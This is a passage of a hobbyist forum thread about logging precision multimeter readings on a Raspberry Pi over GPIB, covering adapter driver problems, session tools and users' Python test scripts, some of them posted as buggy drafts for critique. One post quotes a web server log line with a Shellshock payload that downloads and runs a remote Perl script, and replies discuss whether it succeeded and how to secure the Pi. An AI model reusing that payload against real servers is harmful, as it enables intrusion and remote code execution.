content: Quote from: BFX on December 31, 2016, 01:21:22 amThat message seems more like one or both of these:1: gpib_config has not been run, after the adapter initialization.2: User has no access to /dev/gpib0 - Do a : sudo chmod 666 /dev/gpib*What does a lsusb say ?What does a uname -a say ?/Bingo

author: BFX
author_rank: Frequent Contributor
timestamp: December 31, 2016, 07:57:34 am
content: Quote from: bingo600 on December 31, 2016, 06:27:04 amthx for hintsthere is no gpib in dev

author: plesa
author_rank: Frequent Contributor
timestamp: December 31, 2016, 09:14:13 am
content: Quote from: BFX on December 31, 2016, 07:57:34 amYou do not have firmware in device loaded. With loaded FW PID will be not 518 but 718. But anyway, this interface is not currently working. You needs to use USBTMC, VXIor another proven adapters like NI GPIB USB HS, NI GPIB USB B, E5810 A/B.

author: bingo600
author_rank: Super Contributor
timestamp: December 31, 2016, 10:50:54 am
content: Quote from: BFX on December 31, 2016, 07:57:34 amAs Plesa says , you need to load the firmware twice.And have you loaded the kernel module module ?You should see thisQuoteIf not , what does : sudo modprobe agilent_82357a say ?Does the lsmod show the module loaded after this ??/Bingo

author: BFX
author_rank: Frequent Contributor
timestamp: December 31, 2016, 12:25:19 pm
content: Thank you guys@plesa : are you sure that this doesn't work at all? I have original one.After loading firmware twice I got gpib0-15 in dev.And on the adapter Access and Ready lights to green, but also Fail led is on (red). See pictures.Code:pi@raspberrypi:~ $ lsmod |grep agilentagilent_82357a 18039 0gpib_common 31540 1 agilent_82357aresult of lsmod

author: TiN
author_rank: Super Contributor
timestamp: December 31, 2016, 12:27:18 pm
content: What lsusb and modprobe results?

author: BFX
author_rank: Frequent Contributor
timestamp: December 31, 2016, 12:28:28 pm
content: pi@raspberrypi:~ $ lsmod |grep agilentagilent_82357a 18039 0gpib_common 31540 1 agilent_82357aCode:pi@raspberrypi:~ $ modprobe agilent_82357api@raspberrypi:~ $ lsmodModule Size Used byagilent_82357a 18039 0gpib_common 31540 1 agilent_82357abnep 10340 28192cu 560049 0cfg80211 427855 1 8192cubtusb 27628 0btrtl 3667 1 btusbbtintel 6167 1 btusbbtbcm 5929 1 btusbbluetooth 326105 24 bnep,btbcm,btrtl,btusb,btintelrfkill 16037 4 cfg80211,bluetoothevdev 11396 2joydev 9024 0snd_bcm2835 20447 1snd_pcm 75762 1 snd_bcm2835snd_timer 19288 1 snd_pcmsnd 51908 5 snd_bcm2835,snd_timer,snd_pcmbcm2835_gpiomem 3040 0i2c_bcm2708 4834 0bcm2835_wdt 3225 0rpi_ft5406 3986 0rpi_backlight 2064 0uio_pdrv_genirq 3164 0uio 8000 1 uio_pdrv_genirqi2c_dev 5859 0fuse 84037 3ipv6 347594 56pi@raspberrypi:~ $

author: TiN
author_rank: Super Contributor
timestamp: December 31, 2016, 12:32:30 pm
content: I meant separatelyDid you run gpib_config? Show us your /etc/gpib.conf, make us not guess

author: plesa
author_rank: Frequent Contributor
timestamp: December 31, 2016, 12:35:20 pm
content: Quote from: BFX on December 31, 2016, 12:28:28 pmOnce again, this adapter is not working with Linux-GPIB and recent kernels 4.4 -4.9.Does not matter if it is clone or genuine ( I have Keysight genuine version and clone)When solution will be ready Bingo600 or me will inform in this thread.Maybe you can be successful with Arduino adapter.

author: BFX
author_rank: Frequent Contributor
timestamp: December 31, 2016, 12:41:43 pm
content: Quote from: TiN on December 31, 2016, 12:32:30 pmNobut there is no section for agilent_82357aHave you an example?

author: TiN
author_rank: Super Contributor
timestamp: December 31, 2016, 12:46:09 pm
content: I heard these guys atxDevs have a guide. But listed procedure there works only on Pi with kernels 3.8.xx

author: bingo600
author_rank: Super Contributor
timestamp: December 31, 2016, 12:50:51 pm
content: Quote from: TiN on December 31, 2016, 12:46:09 pm@TiNPromotingRe Error:If the read light are on , you either missed some of the firmware stuff , or you haven't run gpib_config after loading the fw.Or maybe have an invalid (unadapted) /etc/gpib.conf file.Seehttps://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/msg964579/#msg964579My guess - gpib_config or gpib.conf related.Do you have the /dev/gpib* devices now ??Make sure to chmod 666 them , or as a test run as root/Bingo

author: BFX
author_rank: Frequent Contributor
timestamp: December 31, 2016, 12:56:29 pm
content: Ok I update gpib.conf and run and red light is goneCode:pi@raspberrypi:~ $ sudo nano /etc/gpib.confpi@raspberrypi:~ $ sudo gpib_configpi@raspberrypi:~ $Now only ready is greenI tried to run some test but failedCode:Traceback (most recent call last):File "/pub/python/Test_GPIB.py", line 5, in <module>instr.write("*IDN?")File "/usr/local/lib/python2.7/dist-packages/Gpib.py", line 49, in writegpib.write(self.id, str)GpibError: write() failed: An attempt to write command bytes to the bus has timed out.Should be that my 34401A is not configured properly?Address is OK. And after test 34401 is frozen only some underscores are in place of digits.

author: TiN
author_rank: Super Contributor
timestamp: December 31, 2016, 01:41:13 pm
content: Everything is OK with your 34401, it's just you end up in same state as everyone else here areMeter is "frozen" because it's in remote mode. Press local button to warm it back to normal.

author: BFX
author_rank: Frequent Contributor
timestamp: December 31, 2016, 01:54:52 pm
content: Quote from: TiN on December 31, 2016, 01:41:13 pmThank you for words of encouragementDo you know roughly where is the problem? Is it only for 34401 or it's common problem of 82357a?

author: TiN
author_rank: Super Contributor
timestamp: December 31, 2016, 01:57:44 pm
content: Common problem with 82357A/Bs + linux-gpib + kernels 4.x.x series.Something in linux kernel headers or kernel itself got change from 3.8->4.x which caused these agilent pods (real ones and fakes) to timeout on any gpib operation.

author: BFX
author_rank: Frequent Contributor
timestamp: December 31, 2016, 02:21:20 pm
content: Quote from: TiN on December 31, 2016, 01:57:44 pmThx for explanation. It means at 3.8 it's working fine, sure?I'm not familiar with linux too much, but maybe compare the changes 3.8->4.x would do the businessWell I think It's time to try 3.8 for my solution, till here some experts solve this problem

author: bingo600
author_rank: Super Contributor
timestamp: December 31, 2016, 02:47:45 pm
content: Quote from: BFX on December 31, 2016, 02:21:20 pmNote that kernel 3.8 (Wheezy) won't work on a RasPI v3 , you need a v1 or v2We're working with the linux-gpib maintainer to find the problem on the 4.x.x kernels (Jessie)/Bingo

author: CalMachine
author_rank: Frequent Contributor
timestamp: December 31, 2016, 06:01:03 pm
content: I received my RPi earlier this week! I was able do successfully install the V2 of the rpi lognut image and booted up. RPi and Linux is brand new to me, so it's a bit overwhelming. I figured having experience with Arduino and PICs that RPi would come somewhat easily.... well I was wrong.I've yet to test any GPIB instrument connections. I've got a genuine HP 82357B and NI GPIB-USB-HS to use... although it seems like the HP 82357B is having issues with the current iteration the RPi kernel?

author: plesa
author_rank: Frequent Contributor
timestamp: December 31, 2016, 06:54:50 pm
content: Quote from: CalMachine on December 31, 2016, 06:01:03 pmIt is easy. 82357B is not working and image is set for NI GPIB HS. On image is /pub directory shared over samba (you can connect as network drive from another machine and edit webpage and scripts).There is running webserver, so just check in you browser ( webserver use the /pub/www directory ). There are few basic scripts for test and also for logging (3458A,K2001,3441xA, 34401A and for enviromet BME_log.py).All these scripts log are plotted on website.

author: TheSteve
author_rank: Unknown
timestamp: December 31, 2016, 07:00:50 pm
content: Kernel 4.x still works with the 82357x but only if you're using an original raspberry pi.With kernel "Linux gpib 4.4.0-1-rpi #1 Debian 4.4.6-1+rpi14 (2016-05-05) armv6l GNU/Linux" and an original model B pi I've never lost communication with my 3458A using an original 82357B.I set this up using TiN's howto on xdevs. The image that does graphing and has a web server would be a lot more fun though.

author: CalMachine
author_rank: Frequent Contributor
timestamp: December 31, 2016, 10:41:49 pm
content: I'm trying to run the 3458A Log script in python. There were a few nonsensical syntax errors that I needed to fix, but after that, it's just statingImportError: No module named 'Gpib'.I've checked my lsub and it shows my NI usb-gpib.

author: VintageNut
author_rank: Frequent Contributor
timestamp: December 31, 2016, 11:32:50 pm
content: Quote from: CalMachine on December 31, 2016, 10:41:49 pmYou can type in python commands from the command prompt one at a time when you are trying something for the first time. That allows you to see which statement is throwing the error.Does your Gpib module have a .py extension?

author: plesa
author_rank: Frequent Contributor
timestamp: December 31, 2016, 11:36:28 pm
content: Quote from: CalMachine on December 31, 2016, 10:41:49 pmRun sudo gpib_config and after that execute scripts.

author: CalMachine
author_rank: Frequent Contributor
timestamp: January 01, 2017, 12:06:44 am
content: Quote from: plesa on December 31, 2016, 11:36:28 pmWas finally able to execute the scripts in the IDLE and I don't think that is what I was looking for. Moving on.. lol. So, I just accessed the webserver and am looking at the real time data log tests. This data I'm looking at can't be mine right? I haven't initiated any logs yet.Quote from: VintageNut on December 31, 2016, 11:32:50 pmI am not sure. I was just trying to run the provided script in the Python IDLE.*Edit Alright sorry for the hassle. I Think I've figured it out and kind of wrapped my head around how to go about interfacing RPi remotely. I've been able to connect with putty and control it with my laptop and started logging! Atleast I think I did. Can't do much in the command prompt after I executed the script... but my 3458A went into remote mode.

author: TheSteve
author_rank: Unknown
timestamp: January 01, 2017, 01:06:37 am
content: Quote from: CalMachine on January 01, 2017, 12:06:44 amWhen you run something from a shell(command prompt) it will typically "hold on to" the window. You can add an & after the command to have it run in the background. Right now if you loose your ssh/telnet connection to the pi the program/logging will also stop, if you add the & it will keep going.

author: Dwaine
author_rank: Frequent Contributor
timestamp: January 01, 2017, 01:29:09 am
content: Quote from: plesa on December 31, 2016, 01:33:24 amI got the Arduino going as a GPIB interface. Just have to get the GPIB connector made to connect to my Rigol DM3068.pi@raspberrypi:~ $ sudo bash connect2.sh /dev/ttyACM0 115200++verboseverbose: ON^M^M> ++verARDUINO GPIB firmware by E. Girlando Version 6.1^M^M> ++infoDwaine's Arduino Uno Rev 3 GPIB Device^M^M>

author: bingo600
author_rank: Super Contributor
timestamp: January 01, 2017, 09:24:24 am
content: Quote from: TheSteve on December 31, 2016, 07:00:50 pm@SteveWould you care to elaborate a bit ?Especially where/how to get the initial raspbian image ?Did you follow TiN's guide 100%, he specifically specifies get headers for a 3.x kernelhttps://xdevs.com/guide/agilent_gpib_rpi/This is the first time i have heard actuall confirmation that a kernel 4.x works w. an AgilentI have an original Raspi 512Mb (v1) , and tried somewhat the same herehttps://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1093160/#msg1093160But my initial image was Noobs 1.41, meaning i ended up with a 3.x kernel./Bingo

author: TheSteve
author_rank: Unknown
timestamp: January 01, 2017, 10:32:04 am
content: I followed TiN's guide located here:https://xdevs.com/guide/agilent_gpib_rpi/At the time I hadn't read this thread and knew nothing about any incompatibilities.On my first try I started with raspbian jessie lite from here:https://www.raspberrypi.org/downloads/raspbian/I downloaded the newest version, it booted up but I couldn't login remotely as it appears to have sshd disabled by default - I run all of my raspberry pi's headless - no keyboard, monitor or mouse.So I used an older build I already had downloaded for a different pi project. It was from May of 2016. You can find the older versions here:https://downloads.raspberrypi.org/raspbian_lite/images/edit - the specific build I used is "2016-05-27-raspbian-jessie-lite"It booted right away and I was able to login remotely via ssh. I then pretty much followed TiN's howto substituting the proper kernel name etc as I went.If I got any errors a long the way it was nothing major.It has been working great ever since. I have had over 12 solid days of logging using some of TiN's sample python scripts that I modified a little. It hasn't crashed or had a single issue.I am using an original generation pi, model B with 512 megs ram and an authentic 82357B.Give it a try, I am sure it will work for you, if not we'll figure it out.As a last ditch if needed I can make the exact image I used available for download. If your pi has a keyboard/monitor I would start by trying the newest version though.

author: plesa
author_rank: Frequent Contributor
timestamp: January 01, 2017, 03:04:29 pm
content: Quote from: TheSteve on January 01, 2017, 10:32:04 amI tried several combinations RPI2/RPI3 and genuine and clone 82357B adapter without success. I used only the latest linux-gpib (4.0.3-r1) and gpib_firmware-2008-08-10Oldest Raspbian ( 2016-02-09-raspbian-jessie.zip pdated of course but with kernel 4.1.17 )till 4.9 not workingGentoo running on RPi2/RPI3 with kernels from 3.18 to 4.9 are not working.

author: Assafl
author_rank: Frequent Contributor
timestamp: January 02, 2017, 07:11:59 am
content: Well, I can't say I am surprised by theSteve's result - it did work once for me but I was never able to recreate it. Upon reboot it never worked again. At the time I thought it had to do with the pyVisa TiN installs at the end but even that did not work when I tried to reinstall.It may have to do with one of the package updates/upgrade. I guess the moral of the story is if it works don't touch it (no updates no upgrades!)...

author: BFX
author_rank: Frequent Contributor
timestamp: January 02, 2017, 09:13:20 am
content: Quote from: TheSteve on January 01, 2017, 10:32:04 amPlease do that.In the meantime I'll try to recreate my again.It's fantastic news.

author: Assafl
author_rank: Frequent Contributor
timestamp: January 02, 2017, 09:38:45 am
content: Quote from: BFX on January 02, 2017, 09:13:20 am^ +1

author: bingo600
author_rank: Super Contributor
timestamp: January 02, 2017, 11:11:55 am
content: Just got some more info from SteveQuoteThis seems like the latest SVN , at least just before Xmas/Bingo

author: guenthert
author_rank: Frequent Contributor
timestamp: January 02, 2017, 07:06:21 pm
content: Quote from: TheSteve on January 01, 2017, 01:06:37 amThat is generally not the case as the program to be started is connected to STDIN (the input from the current terminal session unless otherwise specified). If you disconnect, programs started in that terminal session receive SIGHUP, which causes them to terminate (unless they specified a non-default signal handler).You can let commands keep running in the background after you disconnect, by using the (standard) 'nohup' utility as follows:`nohup your-program &`.If you plan to reattach to that terminal session (e.g. if your network connection is unreliable), an utility like 'screen' (included in Debian/Raspbian, but sadly not installed by default) is needed.

author: TheSteve
author_rank: Unknown
timestamp: January 02, 2017, 07:18:41 pm
content: Fair enough - there are some caveats to using it. Using "screen" probably is the best option for people - I've been using it for 20 years now.

author: plesa
author_rank: Frequent Contributor
timestamp: January 02, 2017, 07:41:29 pm
content: Quote from: TheSteve on January 02, 2017, 07:18:41 pmI;m also using screen and it is preinstalled in image.Basic usage:sudo screen -S BME280for run new screen seesiona named BME280 where you can execure for instance ./BME_Log.py, when script is running properly, by pressing Crtl+A followed by D session will be disconnectedsudo screen -listwill give you list of running sessions and their statussudo screen -R BME280will attach the screen called BME280.xxx

author: z01z
author_rank: Regular Contributor
timestamp: January 02, 2017, 08:35:26 pm
content: A small mod to the BME_Log.py script so that it runs with only one sensor present.

author: linux-works
author_rank: Super Contributor
timestamp: January 02, 2017, 08:43:58 pm
content: Quote from: TheSteve on January 02, 2017, 07:18:41 pmscreen is old and had bugs.try tmux. I'm a many year screen person, too, but tmux is what everyone at work seems to be using, with good success, and more features.

author: plesa
author_rank: Frequent Contributor
timestamp: January 02, 2017, 11:11:42 pm
content: Quote from: z01z on January 02, 2017, 08:35:26 pmThanks, I will put it to Github and to next image.Quote from: linux-works on January 02, 2017, 08:43:58 pmI'm using screen for while and do not have reason to change it. I will give a try to tmux

author: FrankBuss
author_rank: Unknown
timestamp: January 02, 2017, 11:21:27 pm
content: Quote from: plesa on January 02, 2017, 11:11:42 pmMaybe you should merge the open pull request, so that it doesn't run out of sync for too long, there were some changes from other people as well:https://github.com/PlesaEEVBlog/RPi_LogNut/pulls

author: plesa
author_rank: Frequent Contributor
timestamp: January 03, 2017, 12:36:22 am
content: Quote from: FrankBuss on January 02, 2017, 11:21:27 pmIt is in my plans, please be patient

author: FrankBuss
author_rank: Unknown
timestamp: January 03, 2017, 01:10:14 pm
content: Quote from: plesa on January 03, 2017, 12:36:22 amYou know it is only one click in Github, if you agree with the commits?

author: CalMachine
author_rank: Frequent Contributor
timestamp: January 03, 2017, 03:17:25 pm
content: I tweaked the logging script slightly that was provided with the LogNut image and I am getting a "Command not found" return error. And now for some reason, I am getting an error when trying to run the original script that was provided. I have not altered the provided script in any way.Anyone know what could be causing this?

author: TiN
author_rank: Super Contributor
timestamp: January 03, 2017, 03:36:21 pm
content: Try to enter /pub/python/ directory with actual .py file and runpython ./3458A_Log.py.

author: CalMachine
author_rank: Frequent Contributor
timestamp: January 03, 2017, 03:46:09 pm
content: Quote from: TiN on January 03, 2017, 03:36:21 pmooo!!! Thank you so much! I was missing the 'python' part in the command. I think I've got it working now.

author: plesa
author_rank: Frequent Contributor
timestamp: January 03, 2017, 04:55:25 pm
content: Quote from: CalMachine on January 03, 2017, 03:46:09 pmIf you put #!/usr/bin/python2 as a first row of script you can omit python and execute only by ./3458A_Log.pyBTW what di you changes in script, is it something for all us us? I'm put there there notification when internal temperature is increased something like "Clean filter".Also found in different thread here this application made by member here for 3457A, which can be probably modified to 3458A.It use the Arduino GPIB.

author: plesa
author_rank: Frequent Contributor
timestamp: January 03, 2017, 04:57:58 pm
content: quote author=CalMachine link=topic=77301.msg1105349#msg1105349 date=1483458369]Quote from: TiN on January 03, 2017, 03:36:21 pmooo!!! Thank you so much! I was missing the 'python' part in the command. I think I've got it working now.If you put #!/usr/bin/python2 as a first row of script you can omit python and execute only by ./3458A_Log.pyBTW what di you changes in script, is it something for all us us? I'm put there there notification when internal temperature is increased something like "Clean filter".Also found in different thread here this application made by member here for 3457A, which can be probably modified to 3458A.It use the Arduino GPIB.Quote from: FrankBuss on January 03, 2017, 01:10:14 pm

author: CalMachine
author_rank: Frequent Contributor
timestamp: January 03, 2017, 07:32:40 pm
content: Quote from: plesa on January 03, 2017, 04:57:58 pmI came to share my tweaks and when I copy pasted it, I noticed something I messed up... which led me to scrutinise the code more. The tweaks I made were completely unnecessary, I feel. I had added just a single measurement every so often of one of my 10V Standards, but then I noticed at the bottom you already had code that did just that.Is there an easy way I can go about stopping a script that is currently running?

author: plesa
author_rank: Frequent Contributor
timestamp: January 03, 2017, 08:02:07 pm
content: Press Ctrl+C

author: Dwaine
author_rank: Frequent Contributor
timestamp: January 04, 2017, 05:57:54 am
content: Anybody else getting this in their apache logs? That's bad....95.110.166.62 - - [03/Jan/2017:10:31:17 -0500] "GET / HTTP/1.0" 200 1434 "-" "() { :;}; /bin/bash -c \"wgethttp://139.59.246.200/so.pl-O /tmp/so.pl;curl -o /tmp/so.plhttp://139.59.246.200/so.pl;chmod+x /tmp/so.pl;perl /tmp/so.pl;rm -rf /tmp/so.pl*\""

author: FrankBuss
author_rank: Unknown
timestamp: January 04, 2017, 08:14:28 am
content: Looks pretty harmless to me. The shell code is in the user-agent field, but it is not executed. I just tested it like this:Code:wget --user-agent="() { :;}; /bin/bash -c \"wget localhost - O /tmp/test\"" localhostand the file /tmp/test was not created, at least not on my Debian PC, didn't test it on the Raspberry Pi so far (don't have access to it at the moment), but in the Apache access log it looks very similar to your line. Looks like there is some HTTP server out there which executes the user-agent field with this special text, which is really stupid.If you don't need to access the Raspberry Pi from the internet, you should not make it accessible from the internet (e.g. with a NAT rule). If it is accessible from the internet, there are other things you have to take care of, like only allow to access port 80, otherwise someone could hack it with the default password for the ssh-login or the samba directory export. Note: changing the password for the pi-user doesn't change the password for the samba access. Maybe in the readme of the distribution some security notes should be added.And maybe better to use something like Lighttpd instead of Apache? I use this on my internet server, because it has a better security history than Apache and it is not as heavy.

author: Dwaine
author_rank: Frequent Contributor
timestamp: January 04, 2017, 01:53:05 pm
content: I saw the 200 code and wonder if it was really successful or not. The rm command would of wiped out the perl script. But testing like you did, proves it was not successful.Greeezzzz.... These BOT people really ruin things on the Internet...Dwaine

author: bingo600
author_rank: Super Contributor
timestamp: January 06, 2017, 06:57:07 pm
content: Quote from: Dwaine on January 04, 2017, 05:57:54 amCould originate from herehttp://www.nothink.org/honeypot_web_user_agent.txt/Bingo

author: CalMachine
author_rank: Frequent Contributor
timestamp: January 06, 2017, 07:34:23 pm
content: Here is my slightly tweaked code from the logging code that was provided. Whenever I try to run the script, it only seems to work about half of the time...The half of the time where it does seems like it is doing its thing and looping properly and triggering measurements, but not logging properly. It will just print out data taken over a certain amount of time, all at once.The other half it seems like it just gets hung up on the inst.write("ID?") for reason.I commented out the ACAL portion because with that part in there, I couldn't even get any measurements to take place.Code:# Python script for logging 10V DC Standard on 3458A with automatic ACALimport os.pathimport sysimport Gpibimport time# 3458A GPIB Address = 22inst = Gpib.Gpib(0,22, timeout=120)inst.clear()inst.write("ID?")print(inst.read())LogDir = '/pub/logs/'LogFile= LogDir + 'LES289+175.csv'##LogFile_ACAL= LogDir + '3458A_ACAL_DCV_Log.csv'# Setup HP 3458Ainst.write("PRESET NORM")inst.write("OFORMAT ASCII")inst.write("NPLC 100")inst.write("NRDGS 1")inst.write("NDIG 9")inst.write("TARM auto")inst.write("DCV 10")inst.write("RES 0.00000001")# ACAL reference temperature##ACAL_Temperature = 42.4##ACAL_Counter = 0# Perform ACAL if internal temperature differce is bigger than 1KACAL_Treshold = 1# every 1 deg CACAL_TimeInterval = 86400 # every 24h=86400reflevel = 9.9999479ppm = 0tRead = 1##Last_ACAL_TimeStamp = 0##TempMeasurement_Interval = 500# Check file presence, write headerif (os.path.isfile(LogFile) == False):with open(LogFile, 'a') as MeterLog:MeterLog.write("TimeStamp,Voltage,Temperature,ppm\r\n")MeterLog.close()# Check ACAL file presence, write header##if (os.path.isfile(LogFile_ACAL) == False):## with open(LogFile_ACAL, 'a') as ACALLog:## ACALLog.write("TimeStamp,DCV_Gain,Temperature\r\n")## ACALLog.close()while True:with open(LogFile, 'a') as MeterLog:##tRead = tRead - 1##if (tRead == 0):## tRead = TempMeasurement_Interval## inst.write("TARM Autokr ")## inst.write("TEMP?")## Temperature = float(inst.read())## if (abs(ACAL_Temperature - Temperature) >= ACAL_Treshold) or (time.time() - Last_ACAL_TimeStamp >= ACAL_TimeInterval):## print('Temperature or time difference since last ACAL is higher than set treshold %.1f C / %d s') %(float(ACAL_Treshold),ACAL_TimeInterval)## print('Since start ACAL performed %.0f times') %float(ACAL_Counter)## print('Performing ACAL DCV, it will takes 3 minutes')## ACAL_Counter+=1## inst.write("ACAL DCV")## Last_ACAL_TimeStamp = time.time()## time.sleep(180)## inst.write("CAL? 72")## DCV10Gain = float(inst.read())## ACAL_Temperature = Temperature## print("Internal Temperature = %2.1f")%float(Temperature)## print("10V Gain DCV = %.9f ")%DCV10Gain## with open(LogFile_ACAL, 'a') as ACALLog:## ACALLog.write (time.strftime("%d/%m/%Y-%H:%M:%S,") + ("%.9f,%.2f\r\n" % (float(DCV10Gain),float(Temperature) ) ))## ACALLog.close()inst.write("trig sgl")time.sleep(10)standard10DCV = float(inst.read())ppm = ((standard10DCV / reflevel)-1)*1E6##print(time.strftime("%d/%m/%Y\t%H:%M:%S") + ("\t%d x ACAL\t%.8f\t%.3f ppm\t%.1f C") % (ACAL_Counter, float(data),float(ppm),float(Temperature) ) )print(time.strftime("%d/%m/%Y\t%H:%M:%S") + ("\t%.10f\t%.3f ppm") % (float(data),float(ppm)) )MeterLog.write("I'm Getting ") + (time.strftime("%d/%m/%Y-%H:%M:%S,") + ("%.8f,%.1f,%.3f\r\n" % (float(data),float(Temperature),float(ppm) ) ))MeterLog.close()

author: dr.diesel
author_rank: Super Contributor
timestamp: January 06, 2017, 08:58:49 pm
content: Quote from: CalMachine on January 06, 2017, 07:34:23 pmProbably cause ACAL is secured, change this line:inst.write("ACAL DCV")to:inst.write("ACAL DCV, 3458")Give that a try.

author: CalMachine
author_rank: Frequent Contributor
timestamp: January 06, 2017, 09:45:17 pm
content: Quote from: dr.diesel on January 06, 2017, 08:58:49 pmACAL is currently unsecured.

author: TiN
author_rank: Super Contributor
timestamp: January 07, 2017, 01:43:26 am
content: Try with TARM HOLD.Also what is the purpose ofinst.write("RES 0.00000001")? It's invalid setting.

author: CalMachine
author_rank: Frequent Contributor
timestamp: January 07, 2017, 02:44:53 am
content: Quote from: TiN on January 07, 2017, 01:43:26 amWhen measuring ACV with ACV Sync, the 'res' command was the only way I could find to get 7.5 digits of resolution on the display in 100 mV range. It was weird... ndig wouldn't work for some reason.I guess I just carried that command over to other functions to get the most resolution I could.

author: TiN
author_rank: Super Contributor
timestamp: January 07, 2017, 02:56:21 am
content: For ACV you might want use TRIG SYN and TARM SYN. Suggest to take a look on UM for those commands, as well as RES.

author: CalMachine
author_rank: Frequent Contributor
timestamp: January 07, 2017, 08:30:46 pm
content: Quote from: TiN on January 07, 2017, 02:56:21 amHere is a snippet from the performance verification procedure. I'm not sure the command is even necessary in my particular situation. I just saw that they tell you to use the command on ACV, I'm not really sure why I carried it over to DC. I will take it out"5. Configure the transfer standard DMM as follows:-- ACV-- SETACV SYNC-- ACBAND 10,2E6-- RANGE10-- RES .001-- TRIG SGL-- LFILTER ON6. Configure the DMM under test as follows:-- ACV-- SETACV ANA-- ACBAND 10,2E6-- RANGE10-- RES .01-- TRIG SGL-- LFILTER ON"Is there anyway I can see what is going on with the script and what command it is using, in real time?

author: CalMachine
author_rank: Frequent Contributor
timestamp: January 09, 2017, 01:26:49 am
content: Finally got my script working the way I want it toThis script is for testing the nominal DCV performance of a 3458A using a Datron 4808. It's been awhile since I really got to program anything, so I really enjoyed this a lot! I will be doing many more scripts to automate tests in the near future. I've provided a copy of the script below, please critique it and let me know what I can do betterCode:# Python script for running DCV Performance Verification of a 3458A utilizing a Datron 4808 MFC (LES687)import os.pathimport sysimport Gpibimport time# Constants (3458A Ranges)DCV_Ranges = 5ACV_Ranges = 6DCI_Ranges = 8ACI_Ranges = 5OHMF_Ranges = 9numberOfMeasurements = 25# variablesmeasurementCounter = 0DCVCounter = 0rangeCounter = 0currentMeasurement = 0runningTotal = 0measurementAvg = 0ppm = 0# 4808 DCV Reference Valuesdcv_100uV_FullRange = 99.899869e-6dcv_1mV_FullRange = 0.99999469e-3dcv_10mV_FullRange = 9.9999889e-3dcv_100mV_FullRange = 99.998759e-3dcv_1V_FullRange = 0.99999699dcv_10V_FullRange = 9.9999909dcv_100V_FullRange = 99.999749dcv_1000V_FullRange = 999.99969# 3458A GPIB Address = 22inst_3458A = Gpib.Gpib(0,22, timeout=30)# 4808 GPIB Address = 20inst_4808 = Gpib.Gpib(0,20, timeout=30)# log file path and nameLogDir = '/pub/logs/'LogFile= LogDir + '3458A_DCV_Performance.csv'# Setup the 3458A to begin testinginst_3458A.write("PRESET NORM") # commands the 3458a to preset stateinst_3458A.write("OFORMAT ASCII")inst_3458A.write("NPLC 100") # commands the 3458a to 100 number power line cyclesinst_3458A.write("NDIG 8") # commands the 3458a to display 8.5 digits of resolutioninst_3458A.write("TARM HOLD")inst_3458A.write("TRIG AUTO")inst_3458A.write("AZERO ON")inst_3458A.write("NRDGS 1,AUTO")inst_3458A.write("MEM OFF")inst_3458A.write("END ALWAYS")inst_3458A.write("DELAY 0")inst_3458A.write("LFILTER ON")# Setup the 4808 to begin testinginst_4808.write("o0=") # commands the 4808 to output OFFinst_4808.write("h100=") # commands the 4808 to a frequency of 100 if necessaryinst_4808.write("m0=") # commands the 4808 to an output value of 0inst_4808.write("f0=") # commands the 4808 to DCV functioninst_4808.write("r1=") # commands the 4808 to the 100 uV range# Check file presence, write headerif (os.path.isfile(LogFile) == False):with open(LogFile, 'a') as MeterLog:MeterLog.write("3458A DCV Full Range Test\r\n")MeterLog.close()# While loop to step through each DCV Rangewhile rangeCounter < DCV_Ranges:inst_3458A.write("DCV") # commands the 3458A to DCV Functiontime.sleep(5)inst_4808.write("F0=") # commands the 4808 to DCV Functiontime.sleep(5)# 100 mV rangeif rangeCounter == 0:measurementCounter = 0 # sets measurement counter to 0rangeCounter += 1 # increments the range counterinst_3458A.write("range 100e-3") # commands the 3458A to 100 mV rangeinst_4808.write("R4=") # commands the 4808 to 100 mV Rangeinst_4808.write("M100e-3=") # commands the 4808 to a value of 100 mVinst_4808.write("O1=") # commands the 4808 output state ONtime.sleep(5)inst_3458A.write("TARM SGL,1")time.sleep(15)# While loop to step through 25 measurements to get an averagewhile measurementCounter < numberOfMeasurements:inst_3458A.write("TARM SGL,1") # commands the 3458A to trigger a measurementdata = inst_3458A.read()currentMeasurement = float(data) # Reads the measurement via GPIB and stores the value into currentMeasurementrunningTotal += currentMeasurement # Adds measurement to running totalmeasurementCounter += 1 # increments the measurement countertime.sleep(5)inst_4808.write("O0=") # commands the 4808 output state OFFmeasurementAvg = runningTotal/numberOfMeasurements # calculates the average of the 25 measurementsppm = ((measurementAvg / dcv_100mV_FullRange)-1)*1E6 # calculates the ppm deviation from input# Opens LogFile and writes a row of datawith open(LogFile, 'a') as MeterLog:MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 100 mV Range : Nominal = %.10f Volts" %dcv_100mV_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))MeterLog.close()measurementAvg = 0runningTotal = 0ppm = 0# 1 V rangeelif rangeCounter == 1:measurementCounter = 0 # sets measurement counter to 0rangeCounter += 1 # increments the range counterinst_3458A.write("range 1") # commands the 3458A to 1 V rangeinst_4808.write("R5=") # commands the 4808 to 1 V Rangeinst_4808.write("M1=") # commands the 4808 to a value of 1 Vinst_4808.write("O1=") # commands the 4808 output state ONtime.sleep(5)inst_3458A.write("TARM SGL,1")time.sleep(15)# While loop to step through 25 measurements to get an averagewhile measurementCounter < numberOfMeasurements:inst_3458A.write("TARM SGL,1") # commands the 3458A to trigger a measurementdata = inst_3458A.read()currentMeasurement = float(data) # Reads the measurement via GPIB and stores the value into currentMeasurementrunningTotal += currentMeasurement # Adds measurement to running totalmeasurementCounter += 1 # increments the measurement countertime.sleep(5)inst_4808.write("O0=") # commands the 4808 output state OFFmeasurementAvg = runningTotal/numberOfMeasurements # calculates the average of the 25 measurementsppm = ((measurementAvg / dcv_1V_FullRange)-1)*1E6 # calculates the ppm deviation from input# Opens LogFile and writes a row of datawith open(LogFile, 'a') as MeterLog:MeterLog.write(time.strftime("%d-%m-%Y %H:%M:%S") + (" : 1 V Range : Nominal = %.10f Volts" %dcv_1V_FullRange) + (" : 25 Measurement Avg = %.10f Volts : %.4f ppm deviation from nominal\r\n" %(float(measurementAvg),float(ppm))))MeterLog.close()measurementAvg = 0runningTotal = 0ppm = 0# 10 V rangeelif rangeCounter == 2:measurementCounter = 0 # sets measurement counter to 0rangeCounter += 1 # increments the range counterinst_3458A.write("range 10") # commands the 3458A to 10 V rangeinst_4808.write("R6=") # commands the 4808 to 10 V Rangeinst_4808.write("M10=") # commands the 4808 to a value of 10 